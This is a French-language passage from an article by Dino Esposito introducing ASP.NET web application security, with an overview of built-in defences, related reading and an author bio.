ASP.NET applications ne sont ni plus vulnérables ni plus sécurisées que les autres applications web. La sécurité et la vulnérabilité découlent toutes deux des pratiques de codage, de l’expérience du terrain et du travail d’équipe. Aucune application n’est sécurisée si le réseau ne l’est pas ; de même, quelle que soit la sécurité et la bonne administration du réseau, les attaquants trouveront toujours leur chemin si l’application est défaillante.
La beauté de ASP.NET est qu’il vous fournit quelques bons outils pour élever la barre de sécurité à un niveau passable en quelques clics. Mais ce n’est pas un niveau suffisant. Ne comptez pas uniquement sur ASP.NET solutions intégrées, mais vous ne devez pas non plus les ignorer. Et apprenez autant que possible sur les attaques les plus courantes.
Cet article fournit une liste annotée des fonctionnalités intégrées et des informations d’arrière-plan sur les attaques et les défenses. Les techniques de détection des attaques en cours sont une autre histoire et nécessitent peut-être un autre article.
Ressources associées
Writing Secure Code par Michael Howard et David LeBlanc
TechNet Magazine, Vol sur le web : empêcher le détournement de session
À propos de l’auteur
Dino Esposito est instructeur et consultant Wintellect basé en Italie. Auteur de Programmation microsoft ASP.NET et du plus récent Introducing Microsoft ASP.NET 2.0 (tous deux de Microsoft Press), il passe la majeure partie de son temps à enseigner des cours sur ASP.NET et ADO.NET et à parler lors de conférences. Visitez le blog de Dino à https://weblogs.asp.net/despos.